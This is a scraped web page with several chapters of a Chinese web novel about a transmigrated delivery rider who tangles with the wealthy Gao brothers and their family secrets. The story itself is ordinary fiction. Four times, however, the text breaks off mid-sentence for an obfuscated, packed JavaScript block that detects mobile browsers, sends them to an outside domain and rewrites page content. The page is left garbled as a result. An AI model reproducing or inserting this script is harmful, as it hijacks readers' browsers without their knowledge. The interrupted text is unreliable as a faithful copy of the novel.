李株一瞬不瞬地望着高从俞,眼里的求知欲快溢出来了。 高从俞捏起餐巾布一角擦嘴,无奈道:“我弟弟他前段时间去外地见心理医生了,我不知道他回来。大概是经常吃药影响食欲,他不爱吃饭,多劝几句就发脾气,等饿了会自己下来吃。” 浓缩成两句:弟弟有心理疾病,弟弟脾气不好。 好哥哥不会向一个认识几天的普通朋友,暴露自家弟弟的隐私。 高从俞对高从霭的厌恶,到了演都不演的程度。 既然如此为什么不分开住,偏要凑在一起…… 李株想不通,就暂时把问题放在一旁,专心致志嗦面条。 今天起得早,吃完面条七点不到,谢过高从俞想要送他上班的提议,李株走出别墅门,朝大门口走去。 快走出高家院门时,他回头看向二楼。 高从霭的房间拉着黑色窗帘,估计没起床。他视线一转,停在三楼。 站在窗后的不是高从霭还能是谁。 李株定了定神,猛然意识到原主第一次看到的高从霭就是这样,仰着下巴,像尊凝固的雕像远眺某个地方。 他挥着胳膊原地蹦高,希望高从霭注意到自己。 事实证明,只要努力付出就会有收获,就在李株手挥到酸痛的时候,高从霭的目光落到了他身上。 他似乎说了句什么,李株听不见。 回去的路上,李株反复回忆这个片段。 靠着多年的唇语解读经验,得出两个字——智障。 李株委屈了:“我靠,他怎么这样!” 365 :“……” —— 希望路的配送站点门口,除去配送早餐的骑手,其余不用早班的人正聚在空地上打赌。 赌劳模会不会迟到。 郎峰对他哥很有信心:“绝对到,他不到我倒立洗头。” “大家掐表看好了,距离八点还差四十七秒,四十六,四十五……” “别吹了,你哥除了前天车祸请假,哪天不是提前十分钟到,这时候还没来肯定要迟到。” “还有二十秒……十秒……八、七、六……” “来了来了!” 李株骑着电瓶车风风火火赶到,抢在最后一秒打卡成功。 站长背着手走出来,勒令大家站好。 外卖骑手属于高危行业,每日的安全培训至关重要,那些被讲述了许多遍的安全规则,说不定就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276052|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在没有察觉到的某刻,带你远离危险。 李株深知这一点,站长说一句,就在心里跟着默念一句。 “好了,今天的培训就到这里。”站长抬手看表,嘀咕道,“怎么还没到。” “站长,谁啊,要来新同事吗?” “是该增加骑手了,自从商场开起来,订单多得快送不过来了。” “送不过来还不好?多赚钱你还不乐意了。” 大家七嘴八舌,不知谁嚷了一嗓子:“站长,是他不?” 一名穿骑手服,身材健硕的年轻男人骑着电瓶车过来,他将车停在一边,摘掉安全帽。 看清来人的脸,李株傻了眼,郎峰怒了脸。 郎峰:“他怎么来了!” “你看我干什么,不是我让他来的。”李株冤枉。 庄恒川单手抱着安全头盔,斜扫过李株和郎峰,走到站长面前。 “介绍一下,这位是庄恒川,美好路的业务标兵。最近咱们站点运力不足,把小庄调过来缓解一下大家的压力,大家鼓掌欢迎!” 啪啪啪的掌声响起,李株举起手也要鼓掌,被郎峰恨铁不成钢地瞪了一眼。 他靠过去:“再瞪,信不信我削你。” 想起他哥的拳头,郎峰往右边躲。 庄恒川知道要调去希望路后,不知为何整夜失眠,看到李株他明白了,是怕遇到瘟神。 站长把他拽到角落,特别交代道:“小徐跟你一样,业务能力强,但他不如你稳重踏实,要是因为抢单子发生矛盾,你让着他点。” “站长放心,我不会跟他一般见识。”庄恒川挺起胸膛说。 站长拍他的肩膀:“去吧,注意安全。” 这家配送公司的福利待遇算业界顶尖,不克扣骑手,对商家抽成合理,逢年过节给员工发红包,夏天有高温津贴,冬天有低温补助。 李株检查好车子,戴上防晒袖套,手机一响火速抢单,取餐点是一家网红蛋糕店。 雨水洗过的天空很蓝,风拂过面颊,带来路边馥郁的芬芳。 赶路途中,李株又抢下七个顺路单,四个奶茶订单,两个麻辣烫,一个牛肉汤,全是汤汤水水。 对其他骑手来说,这是灾难。 对李株来说,这都不是事儿。 车子骑得又快又稳,经过小路的坑洼路面时,他精准的控制车身倾斜角度,没让液体漏出一滴。 李株突然找到了送外卖的快乐,不费脑子,锻炼身体,还能耍帅。 剩下两单需要爬楼梯,他一口气连上两趟六楼。下来时,跟他一起送达的哥们儿正在四楼大喘气。 送完最后一单,李株找了个花坛坐下,点开手机窥屏。 骑手群在聊他。 【服了,徐晓哲这两天吃激素,长飞毛腿了吧。】 【自从车祸回来,他整个人容光焕发,抢单手速更快了!】 【大家说的是这个人吗?他一口气冲两趟六楼不带喘的[照片.jpg]。】 李株阅完奏章,点点手机。 希望路小徐:【基操,勿6。】 8. 大哥,收手吧 经过昨天的适应,李株找到了适合的工作节奏,快到午高峰时,他回到站点的休息室喝茶。 站长跟隔壁小超市老板唠完嗑回来,看到他笑骂道:“你小子昨天偷懒,今天也偷懒,怎么,不是号称赚不够三百万累死也不休吗,不当赚钱机器了?” 赚够三百万就带着郎峰一起退休是原主的梦想。 李株喝了口绿茶,保温杯新买的,茶叶顺的站长的。 他拧好盖子,语气淡淡:“把机会暂时让给年轻人,等12点我再继续战斗。” 站长:“……” 站长调出后台数据,发现李株的配送量是26单,比他以往同时段平均数要高出5单。 是该让让单子了,再抢下去怕是要被兄弟们打死。 估摸着时间差不多了,李株去买来两份盒饭,自己吃一盒,给郎峰留下一盒,骑上车,正式吹起冲锋的号角。 外卖的高峰时段是上午十点到下午两点,骑手们骑着小电驴风一般地穿过大街小巷,将餐品送到顾客手里。 这段时间结束,李株暂停接单,跟郎峰一起坐在台阶上休息。 站点内部小团伙不少,留下来休息的骑手三五成群的聊着天。 其中两个鬼鬼祟祟,时而偷看独自一人的庄恒川。 庄恒川不是没察觉,是懒得和人结怨。 站长走到他身旁坐下,递上一瓶矿泉水:“感觉怎么样,累不累?” “还行。”庄恒川说了声谢谢,拧开瓶盖喝了口。 “你小子可以啊,截至目前一共送了55单,就比小徐少两单。” “他跑了57?”庄恒川是之前片区里送餐最快、最多的骑手,也听过徐晓哲的业务水平强,只是没想到这么夸张。 “可不是么。”提起手底下的骨干,站长满脸自豪,“别看那小子脾气差,面对客人嘴巴甜,很少收到投诉。脑子也活泛,大街小巷的地图全在他脑子里,有时候其他人要超时了,还会打电话问他哪里可以抄近道。” 徐晓哲给庄恒川的印象有两个:猥琐,变态。 没想到在工作上中是另一副样子。 想起庄恒川调过来的隐情,站长语重心长道:“你就在这边好好干,能适应就直接留下来,我去跟老陈说。” 两人交流的声音不大,郎峰恨不得把耳朵拽下来,扔到两人脚边当窃听器。 “哥,你就不想知道他们在聊什么吗?” 是疑惑,也是试探他哥对庄恒川的反应。 李株斜睨他:“心眼子挺多,你哥我密集恐惧症要犯了。” “……”郎峰讪讪地干笑,“听不懂你说什么。” 李株朝斜右方看,心里猫抓似的难受,刚才隐约听到那两人说庄恒川跟谁有仇,这会儿正低头摆弄手机。 到底是谁啊,我吗?不可能吧。 他站起来伸了懒腰,拿着手机和保温杯往站长办公室走,路过两人身后,飞快举起手静音连拍几张。 照片发虚,文字模糊,是聊天对话框。 李株新下了一个照片处理app,做了三次清晰处理,挑出其中最清楚的一张。 ——欠系统的4个正向值有着落了! 李株玩着手机来到站长身后:“老张啊,让下位置,我想跟新同事交流交流工作经验。” 背对他的站长仰起脑袋,脖子快扭成麻花了,见青年脸上没有挑衅的意思,这才起身。 庄恒川眉毛皱起来,屁股往旁边挪了又挪。 不远处死盯着两人的郎峰着急上火,他哥好不容易决定脱离火坑,可千万不能再跌下去,急吼吼地也凑了上去。 三个人并排坐,李株夹在中间。 他晃了下手机,靠过去,想点开照片给庄恒川:“给你看个东西。” 见识过李株那日发疯后,庄恒川相信他对自己没有想法了,以后相安无事,最好谁也别搭理谁。 偏偏这人不知分寸,突然跑来挨着他坐,还往他身上凑! 条件反射的,庄恒川后颈的汗毛根根直竖,噌的一下站起来。 “起开!别他妈靠我这么近!”伤人的话没经过大脑处理,脱口而出。 李株被喊得呆了一瞬,站起身就骂:“吼什么吼,真以为自己是人见人爱金疙瘩,挨一下掉粉还是咋地!老子找你是有正事,少他妈给自己加戏!” 庄恒川第一次被青年骂,没生气,反而多了几分踏实。 徐晓哲是真的真的真的对他没那个意思了。 太好了。 庄恒川重新坐下:“抱歉,我条件反射,没控制住。” “作为成年人,情绪管理很重要,别一惊一乍的。”李株依旧站着,居高临下的教育,“以后再这样,信不信我喷死你。” 庄恒川点头:“信。” 他见识过徐晓哲站在楼下骂人,牛高马大的郎峰被喷得抬不起头,眼眶泛红。 郎峰看看这个,又看看那个,发现世界好魔幻啊。 庄恒川尴尬地清了下嗓子:“那什么,你想说啥?” 李株重新坐下,给他看偷拍的照片。 郎峰伸长脖子看,嘴里吐槽:“哥,你咋还没改偷窥的毛病,别人聊天你好奇啥。” 李株恨不得一脚踹开他,强忍下火气问庄恒川:“美好路那边说要收拾你,你怎么看? “水来土掩,无所谓,走一步看一步。”庄恒川嘴上轻巧,心里已经开始烦躁。 他缺钱,在上一个站点因为抢单得罪人,和对方干了一架,今早起来肚子上青紫老大一块。正好这边运力不足,站长就把他派过来了。 以为人走了,事情就了了,没想到对方要找人弄他。 李株对积分势在必得:“下班我们一起走。” 庄恒川张了张嘴,半晌,他说:“谢了。” 李株怕自己一笑又被误会,沉着脸去了厕所。门一关,眼睛笑成两条缝。 “统哥,数据拿来。” 【对象:庄恒川;正向总值:2】 个位数,侮辱人。 365:“原主黑历史太多,就这点正向值还是因为刚才吼你产生的愧疚,不想要我帮你清零。” “……”李株拼命挽救,“我要我要!” 他掰手指头算,赚了2个,还差系统4个。 花的时候豪气万丈,赚的时候吭哧吭哧。 李株无比想念目前的重点嫌疑人,拿出手机看时间,距离三点还差五分钟。 他放下马桶盖坐上去,刷着手机等王经理的消息。 准时准点,手机传来叮咚一声,私人号有新消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276053|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 王经理:【小徐有时间吗,给高先生送点心】 李株握着手机没有动作,十分钟后,他不紧不慢地回复。 小徐努力:【王经理实在抱歉,手里单子太多,走不开】 王经理:【你一个单子才赚几个钱,送一趟顶你几十个单】 紧跟着是一条转账。 王经理:【高先生补偿你的,小徐啊,高先生这么看重你,其他单子放一边,先去送高先生的】 看重会让你一个小经理转账?会不加个联络方式? 高从俞想做戏,又不能彻底拉低身段和底层人民拉近关系,演技再好也拿不到奥斯卡。 李株白眼快翻上天了,哒哒打字。 小徐努力:【对不起王经理,我真的走不开】 他要放长线,钓大鱼。 顺便把转账收了,这是他昨晚被高从俞人身攻击的工伤补偿。 红月会所的办公室里,王经理骂道:“什么玩意儿,还拿上架子了!” 他切换手机界面,给高从俞打电话,态度极尽谄媚讨好。 “高先生,小徐说他没时间,我派其他人给您送吧。” “不必了。” 是不必让小徐送,还是不必送点心?王经理不解其意,正犹豫要不要追问,听筒中传来了无情的忙音。 —— 李株等不到王经理的回复,弯腰洗了把冷水脸,从卫生间出去。 一刻钟前对着庄恒川各种警惕、横眉冷对的郎峰,此刻正勾着庄恒川的肩膀哈哈大笑。 李株:“……” 见他哥过来,郎峰松开庄恒川,笑嘻嘻地对李株说:“哥,川哥跟我们是老乡。” 原主对庄恒川一见钟情,自那一天起,郎峰见到庄恒川就像见到仇人。 眼睛不是眼睛,鼻子不是鼻子的。 李株:“我知道啊。” 原主偷看过庄恒川的证件,被庄恒川抓了个正着。 庄恒川也想起这件事,脸上黑了几分。李株重重干咳两声,踹了一脚郎峰的屁股:“别磨蹭,开工了。” 昨天的雨没下够,傍晚时分,烧红的天际被乌云覆盖,传来沉闷的雷声。 李株把车停在路边,提前穿好雨衣,一抬头,一辆黑色轿车在旁边缓缓停下。 车窗摇下去,露出熟悉的脸。 高从俞脸上是掩饰不住的惊喜:“小徐,没想到在这里碰见了。” 是惊吓还差不多。 一阵寒意窜上天灵盖,他怎么知道我在哪儿? 李株淡定的拉上雨衣拉链,让系统马上检测手机。 果不其然,手机里被装了定位软件。 高从俞有太多机会,李株无法确定软件是什么时候装的。像他这样的笑面虎最难对付,不如直来直去的高从霭。 李株扶正电瓶车坐上去:“是很巧,高先生要去哪儿?” 高从俞脸上多出几丝担忧:“从霭病了,我去医院看看他。” 吃人嘴软,拿人手短,徐晓哲在他这里连吃带拿,听说高从霭病了,一定会狗腿地提出一同前去看望。 他舒服地靠在椅背上,等鱼咬钩。 “什么病,严不严重?”李株抠了抠手指,担忧地说,“我能跟你一起去看看他吗?” 9. 大哥,收手吧 高从霭住的私人医院,院长知道高从俞要来,带着几个院方高层候在大门口。 车一停,他殷勤地上前开门。 李株看了眼他身上的工作牌:“谢谢院长。” 院长盯着下车的人,那身骑手服后面有个超大logo,高先生那样的人,怎么会和外卖员同乘一辆车。 秘书悄悄戳他:“院长,高先生从另一边下车了。” 院长回过神,有人比他抢先抵达了另一侧,只见青年扶着车门立在那里,挡住众人的视线,司机绕到后备箱,搬出轮椅摆到后座门口。 高从俞下车从不让人帮忙,他臂力强健,可以自己挪上轮椅。 电动轮椅开出来,李株跟着来到院方诸位领导面前。 高从俞没有向他们介绍李株,一个抬手,院长就明白他的意思,说起高从霭的情况:“高烧刚退,应该快醒了。” “嗯。”高从俞对李株说,“走吧,上去看看。” 进了电梯,院方几人仗着空间小眼睛没处放,大大方方打量起李株。 长得算端正,气质有点土,衣服脏兮兮的,袖口不知在哪里蹭了一块油污,这绝对不可能是谁家体验生活的小少爷。 电梯停在九楼,这一层是高档病房,如今被高家包了。 高从霭生病会引发很多意外,做出许多令人难以预料的事,高家丢不起那个人。 必须杜绝一切泄露信息的可能。 病房外,陈姨拎着保温饭盒趴在玻璃上看。 高从霭在病房里绕圈,嘴唇无声翕动,脑袋晃来晃去,如果忽略外表,他此刻的样子更像一个几岁大的孩童。 “陈姨。”高从俞的声音响起。 陈姨像见到了救星:“大少爷来啦,小少爷他醒了。” 这间病房是高从霭的专属病房,特意改造过,靠走廊的实体墙上半部分,换成了双层中空的玻璃墙,便于医生时刻观察病人情况。 病房里除了一张软包过的病床,没有其他家具。 李株不知道是不是自己的错觉,短短大半天不见,高从霭好像更瘦了。 高从俞看了眼专注望向病房的青年,叹息道:“从霭有很严重的心理疾病,通俗来讲,就是癔症。” 李株一个跑外卖的,不懂得这些,他露出困惑的表情。 高从俞科普:“医学上把这种病分为两大类,分离障碍和转换障碍,从霭属于前者,他有严重的分离性身份障碍,就是身体里住着另一个人格。” 高从俞很满意李株惊恐的反应。 对他来说,高从霭在旁人眼中是一个怪物,是件无比愉悦的事。 李株抖了一下,害怕地说:“那他会伤人吗?” “暂时没有发生过。”高从俞抿了下唇,眉头轻轻皱起来,高从霭突然转身朝玻璃墙走来。 他两只手撑在玻璃上,漆黑的眼睛睁得很大,声音是装出来的几岁孩童才有的软糯。 他说:“回来了。” 高从俞落在扶手上的双手猛地攥紧,玻璃另一边的高从霭诡异地踮起脚走开,就像踩着一双别人看不到的高跟鞋。 回到病床上躺下,给自己盖上被子。 李株偷偷朝下瞥,高从俞的后颈上起了一层鸡皮疙瘩,整个人绷得很紧,随时要发作的模样。 他俯身,故意在高从俞耳后说:“回来了。” 如果高从俞双腿正常,此刻已经惊得跳起来,他扭头惊惧地看着李株,张开嘴喘着粗气。 李株这才慢慢说后半句:“是什么意思?谁回来了?” 【负向值+20,说话大喘气有病吧!跟高从霭一样是个疯子!】 李株心里哇哦,五个字而已,反应这么大。 高从俞脸上一阵青一阵白,竭力控制住发火的冲动,语气僵硬地说:“不知道,他发病的时候就爱说莫名其妙的话,当不得真。” 李株真怕他突然破功,有损在外的形象,体贴的补上一句:“高先生说得对,又不是特意针对某个人,不用在意。” 乍一听没什么,细品又觉得怪怪的。 高从俞盯着那张脸,坦然、诚恳,没有阴阳的意思。 粗鄙的文盲就是这样,能把好话说成歹话,听得人刺耳。 高从俞抬腕看时间,满钻的表盘险些闪瞎李株的眼:“你下午别去送餐了,不介意的话陪我吃顿便饭?” “这怎么好意思。”李株假假的说,“之前总是你请我喝咖啡、吃点心,我心里过意不去,这次换我请你吧。” 一段关系要延续下去,总得有来有往,高从俞屈尊纡贵:“好。” 李株回头,床上的人侧躺对着走廊,睁开的眼始终盯着高从俞,干瘦苍白的手正抓着被子。 他的嘴唇在动,解读出来应该是:妈妈回来了。 李株收回视线:“那小高先生怎么办?” “等康复就能出院了,走吧。”要不是为了做给外界看,高从俞一刻也不想多待。 高从霭的一言一行,哪怕只是一个微小的表情,都能让他产生生理性的不适。 李株走在他身侧,清楚看到他颈侧鼓起的青筋。 问了系统要数据,没有涨,高从俞此刻的情绪不是对他,那就是对高从霭。 高家的关系太复杂。 哥哥不像哥哥,弟弟不像弟弟,还有一个隐身的,李株从没见过的爹。 李株在网上查过高彦和,人设和高从俞几乎一模一样,善良、宽宏,自发迹以来在商场没有败绩,投资什么赚什么,运气好到令人眼红。 不过据说他现在年纪大了身体不好,退居二线,暂时放权给高从俞。 李株脑子里在想事,一个不注意,撞到了高从俞的轮椅上。 散发着汗味和尘土气味的骑手服,正好蹭到高从俞的头发。 那一瞬间,他看到高从俞握紧了拳头。 【负向值+30,这该死的穷酸味!】 李株:“……” 衣服脏了可以洗,高从俞这样心脏了的没得洗。 李株连声道歉,高从俞强挤出一个笑脸:“没关系。” 就喜欢看你想弄死我,又弄不死的衰样儿。李株看不透高家给他的“免死金牌”是什么,只能勉为其难在高从俞的底线上蹦跶。 他伸手抚了下高从俞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276054|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发:“哎呀,不好意思,把你头发碰乱了。” 高从俞感觉有无数只蚂蚁贴着头皮爬行,面部肌肉绷得太紧,嘴角抽搐了下。 随行的司机知道老板的忍耐到了极限,适时开口:“先生,袖口脏了,要不要去卫生间整理一下。” 高从俞僵硬地点头:“走吧。” 李株想说“我跟你们一起”,司机率先堵住他的嘴:“小徐先生留在这里吧,我们马上回来。” 待两人消失在走廊转角,李株脑子里开始飘弹幕。 【负向值+30,想砍掉他的手】 【负向值+50,他怎么不去死】 【负向值+100,等事情结束,我一定要,一定要】 李株凝神,一定要什么?等啊等,就是没有后文。 咚、咚、咚—— 静谧的走廊中响起沉闷的撞击声,病房外还算正常的陈姨也跟着变得神经质。 她手中的圆柱形的食盒落到地上,顺着走廊一路滚到李株脚边。 李株弯腰捡起来,走过去:“姨,东西掉了。” 陈姨仿若未闻,身体颤抖得厉害。 李株顺着她的视线看进去,高从霭起床了,正站在一面墙壁前,用脑袋重重地磕墙。 咚、咚、咚—— 声音沿着墙壁透出来,可见撞得有多用力。 走廊另一头的院领导们跟着跑过来,叫上护士一起进门制止。 高瘦的男人被一群人强行按到地上,扎了一针镇定剂,闻讯回来的高从俞停在门口,视线与高从霭对上。 高从霭咧嘴笑起来,笑声和李株之前听过的一样夸张而癫狂。 他没有挣扎,顺着医生们的力道站起来,回到床上坐下。 情绪来得快,去得也快,高从霭陷入了安静,目不转睛地盯着高从俞。 “大哥。”他声音清晰,“妈妈回来了。” 如果之前是意识不清时的疯言疯语,那么现在,李株可以肯定,他在描述事实。 可他妈不是死很多年了吗,死人要怎么回来? 后颈像被人吹了一口寒气,李株觉得有点冷,他看向高从俞,男人的身体也在抖。 司机见势不妙,急声提醒:“先生,我们该走了。” 高从俞怔怔抬起头,瞪大的眼睛里顷刻间布满血丝,他扬手推开司机,操控轮椅逼近病床。 其余人被他的样子吓到,下意识闪开。 轮椅撞上病床边沿发出“哐”的一声,高从俞扑到高从霭身上,双手用力掐住他的脖子。 “闭嘴!闭嘴!闭嘴!” 呼吸受阻,高从霭的脸憋得通红。 反应过来的医生们想把人拉开,可高从俞的手劲儿太大,铁钳一般桎梏着高从霭的脖子,怎么也掰不开。 怎么办,难道也要来一针镇定剂吗? 李株眯了下眼睛,被骂了那么多次,报仇的时候到了。 他扬声说:“都让开,我来。” 众人的目光齐齐落到他身上,青年疾步走来,撸起袖子抬手就是啪啪两个巴掌。 左右脸一边一个,治好强迫症。 10. 大哥,收手吧 脸上的疼痛唤醒了失控的高从俞,他怔愣地抬起头。 对面的李株无措地把手藏到背后:“对不起,我一时情急,没想那么多。” 病房内气氛凝滞,医院方的人大气不敢出,惶恐不安地望着两人。 高从俞顶着两个通红的巴掌印松开高从霭,耳朵里嗡嗡作响,他的手垂落到腿侧,指甲陷进掌心。 “没事。”话从嘴里蹦出来的时候,他的肩膀因过于紧绷而发抖。 李株九十度鞠躬:“高先生真的对不起,要不,要不你打回来吧。” 青年声音低哑,快哭了。 心里爽到飞起来。 高从俞又说了一遍:“没事。” 李株嘴唇嚅嗫,愧疚地低下脑袋,正好对上高从霭的眼睛。 药物起效,他眼皮耷拉着,漆黑的眼底透不进光。他搭在落在床沿的手,在李株的指尖蹭了下。 “干得漂亮。”高从霭声音沙哑地说完,陷入了沉睡。 李株:“……” 是火上浇油没跑了,看热闹不嫌事大! 高从俞的眼睛被怒火烧得通红,看高从霭的眼神淬了毒。 再这么下去,非得把病房拆了不可,司机急中生智掏出手机:“先生!公司来电话说有急事!” 明知是缓解气氛的说辞,谁也没有傻到点破。 高从俞的五官在扭曲的边缘,他深吸一口气,对着李株说:“公司有事,吃饭的事改天再说。” 众所周知,改天吃约等于拒绝吃。 高从俞恐怕最近不想见他了,李株理解的表示:“没关系,等你忙完再说。” 高从俞的高级轮椅原地调转,眨眼间出了病房,其他人也立马跟上。 “小徐。”陈姨一把抓住李株的胳膊,“你赶紧收拾东西离开这里,千万别再回来。” 李株:“姨是怕高先生报复我吗?放心吧,他不会计较这种小事的。” 真是皇上不急太监急。 知道说主家的私事不好,陈姨还是想劝劝这个努力踏实的年轻人。 “大少爷没有你看到的那么温和,高二那年,他与人发生口角打了一架,嘴角破了点皮,第二天下午,一张照片被散播到网上……是,是一张毁容的脸。” “这和高先生有什么关系?” 陈姨交握在一起的手抖了一下:“是他做的,我亲耳听到的。” 那天高从俞气狠了,只顾着对朋友下达命令,忽略了厨房里的细微动静。 这件事过去很久,她记忆犹新。 如今这个因车祸致残,脾性大变的人,或许才是真正的高从俞。 “谢谢陈姨。”李株一脸天真,“我相信高先生不是坏人。” “你,你……”陈姨气得舌头打结,“随你便,万一出了事,别怪我没提醒你。” 李株笑了笑,没说话。 不想再搭理他,陈姨抓起高从霭的胳膊,试图把人挪到被子下。 李株见她吃力:“我来吧。” 他弯下腰,手臂横过高从霭的腿窝,搂住他的肩膀,来了个公主抱。 看着瘦,挺沉,李株的腰差点折了。 高从霭眼皮下的眼珠动了,李株垂头在他耳边问:“你1号人格上线了吧,怕高先生不够恨我,特意帮我拉一波仇恨值?” “小徐,你嘀嘀咕咕说啥呢?” “问问小高先生冷不冷。” 陈姨看了眼墙上的显示板,室温有点低,她去调高了两度。等李株把人放好,陈姨从旁边的柜子里拿了一床厚被子给高从霭盖上。 李株抱着胳膊看了他两秒:“陈姨,我先回去了。” “等等。”陈姨看了眼沉睡的人,拉着李株去了卫生间,“别嫌我啰嗦,尽量离小少爷也远一点吧,被他盯上不是好事。” 她只能点到为止。 高从霭没有社交,能不说话绝不开口,距离他上次交朋友已经过去三年,小徐是他三年来唯一愿意交谈的外人。 被他缠上和得罪高从俞一样恐怖。 李株记下陈姨的叮嘱,出了门后他瞅着走廊没人,像只壁虎趴在墙上往里偷看,床上的人躺得很安详。 看来之前眼珠子有动静不是装睡。 高从霭的危险是潜在的、未知的,高从俞的危险却摆在明面上,是板上钉钉的重大嫌疑人。如果能拉拢跟他关系糟糕的高从霭,对任务肯定会有帮助。 至少目前不能放弃与高从霭接触。 —— 下午的雨没下下来,空气燥热潮湿,几只燕子贴着草地飞过。 李株一路盘算回到电瓶车停放的位置,打开手机系统接单,继续自己的视财如命人设。 接下来几天,王经理安静如鸡,没找他送点心。 高从俞那边看似没有动静,实则动静很大,给李株制造了许麻烦。 开始李株没想到他身上,第五次与人发生剐蹭才回过味来,除了有惊无险的小车祸,他还接连遭到匿名投诉。 有人打电话到平台说他偷顾客东西,威胁顾客。 今天中午,站长又接到投诉,这次更离谱,说他x骚扰。 对方没有提供实质证据,但李株必须接受平台调查,被带进站长办公室,接受调查人员刁钻的问话。 高从俞老阴比! 李株琢磨,这事应该只是引子,他如今落难,高从俞正好可以演一出英雄救美。 既解心头之恨,又对他施了恩,一箭双雕。 “这件事我们已经了解清楚了,你可以走了。”调查人员合上本子站起来,“你的账户要三天后恢复。” 李株猛地起身,身后的椅子发出刺耳的摩擦声。 调查人员警惕地指着他:“你想干什么!” 李株逼近,目光喷火:“一句了解清楚就结束了?我受的这些窝囊气怎么算?把那个人的名字和电话给我,我要亲自问问,他到底为什么冤枉我!” 还以为要暴起打人,调查人员安抚道:“徐晓哲,你冷静点。” 李株:“我没法冷静!我要曝光他!” 曝光匿名举报者,就会有人扒出平台。 万一被对家用来炒作抹黑……调查人员相互交换了眼神,其中一人出去打了个电话。 回来后好言好语的对李株说:“上面知道你受了委屈,给你特批一笔精神损失费,这件事往后就别再提了。” 李株喘着粗气,像头愤怒的小牛。 站长握住他的胳膊往后拽,沉声喊道:“小徐。” 李株深吸一口气,不情愿地说:“看在站长的面子上,这次就算了。” 办公室的门开了,见出来的是两名调查人员,郎峰故意拿鼻孔看人。 等人离开,他冲进办公室拉着他哥问:“怎么样?” “没事了,想睡觉。” 对于一个没脾气的摆烂党来说,发脾气太消耗精力,李株好累。 “睡觉好,眼睛一闭一睁,就是新的一天。”郎峰知道他哥委屈大发了,去跟站长请了半天假,用小电驴载李株回家休息。 李株一躺下就是大半天,迷迷糊糊间,听到有规律的敲门声。 他揉着眼睛坐起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276055|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,屋子里乌漆嘛黑,看了眼手机,晚上九点。 家里好像只有他一个人。 敲门声响三声停顿一下,继续响。 李株揉着眼睛去开门,第一反应是出现幻觉了,用力把脑袋摇成拨浪鼓。 眼前的人没消失,还在。 “怎么是你?” 高从霭穿着病号服站在外面,脚下的白色拖鞋右边那只破了个洞,有血。 “看到不是高从俞很失望?”他朝里面看去,“介意我在这住两天吗?” 李株把胳膊撑在门框上,挡住他的去路:“高先生知道你在这里吗,你怎么找来的?” 高从俞:“一路打听过来的。” 他从陈姨口中知道了李株的站点地址,又从站长口中知道了租房地址。 到了城边村就更好打听了。 李株蹙眉看着他的脚:“受伤了?” 高从霭乌黑的眼睛多了几分可怜:“路上踢到石头,摔了一跤。” 不是吧,李株感到很荒谬:“你走过来的?” 二三十公里呢。 “嗯。”高从霭看着他的眼睛说,“走了四个小时。” 李株:“……” 他不太明白:“为什么非要来我这儿?” “我没有别的朋友。”高从霭索性把话都说了,“是不是想说你不是我朋友?我们说过话,在我这里,你是。” 李株没辙,小高先生脸皮太厚了。 高从霭走进客厅坐到沙发上,修长的胳膊搭上靠背,仿佛自己才是主人。 他不满的撇嘴:“你沙发好小。” 李株叉腰站在他面前:“有没有人告诉你,你很没有边界感。” “没有。”高从霭仰着头,“你是第一个。” 说完便没了声音,垂下脑袋睡着了。 李株推他:“喂,醒醒。” 高从霭的鼻腔里发出很细微的鼾声。 李株闭了闭眼,完蛋,这就是个烫手山芋。 “高从霭。”他坐到沙发上,一字一顿道,“你一直在钓我吧。” 帮他隐瞒偷窥的事,是第一个诱饵。 半夜抓到他跟踪选择隐瞒,是第二个诱饵。 病房里故意夸他扇得好,让他看清高从俞看他的眼神有多恶毒,是第三个诱饵。 还有现在,突然找上门却只顾着睡觉。 “高从霭,你起来。”李株不想拉拢他了,怕斗不过。 高从霭睁开一只眼:“让我安静睡会儿,作为交换,我告诉你一个高从俞的秘密。” “你慢睡,好睡,多睡。”李株态度大转变,去房间拿出毛巾被,替高从霭盖上肚子。 高从霭重新阖上眼帘。 